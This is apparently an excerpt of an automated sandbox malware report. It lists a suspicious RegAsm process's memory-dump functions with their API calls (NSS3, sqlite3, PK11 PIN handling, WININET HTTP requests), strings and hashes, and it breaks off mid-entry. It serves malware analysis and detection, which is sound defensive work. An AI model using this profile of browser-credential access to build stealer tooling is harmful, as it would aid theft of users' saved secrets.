Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 5aa6d4880243c14683d09a921e5d6b983d8c65dcffd814794d78b03247387af5
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 6C3C4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C3878F8), ref: 6C3C4E6D

Part of subcall function 6C3609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C3606A2,00000000,?), ref: 6C3609F8
Part of subcall function 6C3609E0: malloc.MOZGLUE(0000001F), ref: 6C360A18
Part of subcall function 6C3609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C360A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C3878F8), ref: 6C3C4ED9

Part of subcall function 6C3B5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C3B7703,?,00000000,00000000), ref: 6C3B5942
Part of subcall function 6C3B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C3B7703), ref: 6C3B5954
Part of subcall function 6C3B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3B596A
Part of subcall function 6C3B5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3B5984
Part of subcall function 6C3B5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C3B5999
Part of subcall function 6C3B5920: free.MOZGLUE(00000000), ref: 6C3B59BA
Part of subcall function 6C3B5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C3B59D3
Part of subcall function 6C3B5920: free.MOZGLUE(00000000), ref: 6C3B59F5
Part of subcall function 6C3B5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C3B5A0A
Part of subcall function 6C3B5920: free.MOZGLUE(00000000), ref: 6C3B5A2E
Part of subcall function 6C3B5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C3B5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4EB3

Part of subcall function 6C3C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C3C4EB8,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C484C
Part of subcall function 6C3C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C3C4EB8,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C486D
Part of subcall function 6C3C4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C3C4EB8,?), ref: 6C3C4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4EC0

Part of subcall function 6C3C4470: TlsGetValue.KERNEL32(00000000,?,6C387296,00000000), ref: 6C3C4487
Part of subcall function 6C3C4470: EnterCriticalSection.KERNEL32(?,?,?,6C387296,00000000), ref: 6C3C44A0
Part of subcall function 6C3C4470: PR_Unlock.NSS3(?,?,?,?,6C387296,00000000), ref: 6C3C44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C49DCB0,00000000), ref: 6C3C4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C3C501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C506B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 5221d96e8b0e5376ace7439ad344f7b97f0f0775cbb7e79e75ebe88fe8cc2064
Instruction ID: c4fbb8b4dac59281959dcb4f722fa2499f4557192fe60747dc3842ca443e15fa
Opcode Fuzzy Hash: 5221d96e8b0e5376ace7439ad344f7b97f0f0775cbb7e79e75ebe88fe8cc2064
Instruction Fuzzy Hash: DD51D2B5E012119BEB11AF24EC01AAE76B4EF1531DF140535EC4696A11FB32EE25CFA3

Function 6C36ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C36ACE2
malloc.MOZGLUE(00000001), ref: 6C36ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C36AD02
TlsGetValue.KERNEL32 ref: 6C36AD3C
calloc.MOZGLUE(00000001,?), ref: 6C36AD8C
PR_Unlock.NSS3 ref: 6C36ADC0
free.MOZGLUE(00000000), ref: 6C36AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C36AE58
free.MOZGLUE(00000000), ref: 6C36AE69
free.MOZGLUE(?), ref: 6C36AE78
PR_Unlock.NSS3 ref: 6C36AE8C
free.MOZGLUE(?), ref: 6C36AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C36AEC7

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0fed030a16b5235bef19ff50c514845c0dfac3dada4857a1e17459bf6c187796
Instruction ID: 413687d19a8cc131454512f771b63e83ea7ce215852f82c0f23139fc86b1fb1c
Opcode Fuzzy Hash: 0fed030a16b5235bef19ff50c514845c0dfac3dada4857a1e17459bf6c187796
Instruction Fuzzy Hash: D3519EB4E011259BDF00FF9AD845AAE77B8BB06359F140125EC05A3E15D332AA55CFE2

Function 004152C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,011927F8), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,011920C0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlenA.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlenA.KERNEL32(00000000), ref: 00415383
strtok.MSVCRT(00000000,?), ref: 0041539E
lstrlenA.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

ERROR, xrefs: 00415432
ERROR, xrefs: 004154A9
ERROR, xrefs: 0041530A
ERROR, xrefs: 004153B9
ERROR, xrefs: 0041546F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 6C444C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C444CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C444CFD
sqlite3_value_text16.NSS3(?), ref: 6C444D44

Strings

bad parameter or other API misuse, xrefs: 6C444D05
out of memory, xrefs: 6C444C78, 6C444C9E
no more rows available, xrefs: 6C444D2E
another row available, xrefs: 6C444D20
abort due to ROLLBACK, xrefs: 6C444D27, 6C444D33
API call with %s database connection pointer, xrefs: 6C444CF6
invalid, xrefs: 6C444CF1
unknown error, xrefs: 6C444D56

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: f0a5686d4a2a65212d79098a82dac57fce9532a2ec2ce3b78ac6162b36cf9059
Instruction ID: 40d4aa700923436c0680c8010d9a80cacc3e5d1cf7e49d051f587355069e1792
Opcode Fuzzy Hash: f0a5686d4a2a65212d79098a82dac57fce9532a2ec2ce3b78ac6162b36cf9059
Instruction Fuzzy Hash: 36314BB2A05951A7F704CE24A801FE5B361F78239AF3AE125D4245BF58CF65AC1287E2

Function 6C3A2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C3A2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C3A2D07

Part of subcall function 6C4809D0: PR_Now.NSS3 ref: 6C480A22
Part of subcall function 6C4809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C480A35
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C480A66
Part of subcall function 6C4809D0: PR_GetCurrentThread.NSS3 ref: 6C480A70
Part of subcall function 6C4809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C480A9D
Part of subcall function 6C4809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C480AC8
Part of subcall function 6C4809D0: PR_vsmprintf.NSS3(?,?), ref: 6C480AE8
Part of subcall function 6C4809D0: EnterCriticalSection.KERNEL32(?), ref: 6C480B19
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C480B48
Part of subcall function 6C4809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C480C76
Part of subcall function 6C4809D0: PR_LogFlush.NSS3 ref: 6C480C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C3A2D22

Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(?), ref: 6C480B88
Part of subcall function 6C4809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C480C5D
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C480C8D
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480C9C
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(?), ref: 6C480CD1
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C480CEC
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480CFB
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C480D16
Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C480D26
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480D35
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C480D65
Part of subcall function 6C4809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C480D70
Part of subcall function 6C4809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C480D90
Part of subcall function 6C4809D0: free.MOZGLUE(00000000), ref: 6C480D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C3A2D3B

Part of subcall function 6C4809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C480BAB
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480BBA
Part of subcall function 6C4809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C3A2D54

Part of subcall function 6C4809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C480BCB
Part of subcall function 6C4809D0: EnterCriticalSection.KERNEL32(?), ref: 6C480BDE
Part of subcall function 6C4809D0: OutputDebugStringA.KERNEL32(?), ref: 6C480C16

Strings

nHl, xrefs: 6C3A2D6C, 6C3A2D9A
slotID = 0x%x, xrefs: 6C3A2D02
ulPinLen = %d, xrefs: 6C3A2D36
pPin = 0x%p, xrefs: 6C3A2D1D
C_InitToken, xrefs: 6C3A2CE7
pLabel = 0x%p, xrefs: 6C3A2D4F

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nHl
API String ID: 420000887-1610005112
Opcode ID: de4acca724277a6ac5f583606947367c26bb92c70585450ba0651bc894c7be2f
Instruction ID: 630eb46c35dd1a3b99ad4a22caff0c377ae8a1bba2a06954c689cbef27e911e9
Opcode Fuzzy Hash: de4acca724277a6ac5f583606947367c26bb92c70585450ba0651bc894c7be2f
Instruction Fuzzy Hash: EB21F175201044AFDB10FF91CE4CE497BB1EB4632DF048014E90897A22CB32EC1ACFA2

Function 6C374880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3748A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C3748C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C3748D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C3748FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C374908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C374947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C37496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C374988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C498DAC,?), ref: 6C3749DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3749FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C374ACB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 04818da10204c030a1bbd8b49a0426ba0bc0219a9c972a23caf6fea6a72ac083
Instruction ID: 18bc3aab01e54f44433f6d1b774fa728e48e0e4d730f5dcb08626e84de8f3d44
Opcode Fuzzy Hash: 04818da10204c030a1bbd8b49a0426ba0bc0219a9c972a23caf6fea6a72ac083
Instruction Fuzzy Hash: 1051E671A003019BEF708F65DC81B9B76E9AF4130CF104129E969AAB51E77AF444CF7A

Function 6C442D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C442D9F

Part of subcall function 6C2FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C35F9C9,?,6C35F4DA,6C35F9C9,?,?,6C32369A), ref: 6C2FCA7A
Part of subcall function 6C2FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C2FCB26

sqlite3_exec.NSS3(?,?,6C442F70,?,?), ref: 6C442DF9
sqlite3_free.NSS3(00000000), ref: 6C442E2C
sqlite3_free.NSS3(?), ref: 6C442E3A
sqlite3_free.NSS3(?), ref: 6C442E52
sqlite3_mprintf.NSS3(6C4AAAF9,?), ref: 6C442E62
sqlite3_free.NSS3(?), ref: 6C442E70
sqlite3_free.NSS3(?), ref: 6C442E89
sqlite3_free.NSS3(?), ref: 6C442EBB
sqlite3_free.NSS3(?), ref: 6C442ECB
sqlite3_free.NSS3(00000000), ref: 6C442F3E
sqlite3_free.NSS3(?), ref: 6C442F4C

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: da7b9b985f66a8b8e1848834573bcf81f8465d60c96aebb4fc22d7807c9aafd1
Instruction ID: ce484dd8254969a5552518a2fb4ea544e7ae1bf909a6d118d3d08ebbb0640aa6
Opcode Fuzzy Hash: da7b9b985f66a8b8e1848834573bcf81f8465d60c96aebb4fc22d7807c9aafd1
Instruction Fuzzy Hash: AE61A0B5E002098BEB10DFA8D885F9EB7B5EF48349F258028DC15E7701EB35E855CBA1

Function 6C2F4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4D97
PR_Lock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4DBA
PR_WaitCondVar.NSS3 ref: 6C2F4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4DEF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 7caafe01e278557dee9422927d28889ac9f5673db8cb92263fbc14227246832b
Instruction ID: 82e0b615feb8a688b0d798759965f756d36dc3bbcd08af3fa60f27115f5c125d
Opcode Fuzzy Hash: 7caafe01e278557dee9422927d28889ac9f5673db8cb92263fbc14227246832b
Instruction Fuzzy Hash: 8041AFB5A54719CFCB00FF79D184959BBB4BF06324F054629EC989BB10E770E886CB91

Function 6C398F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C38DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C398FD1
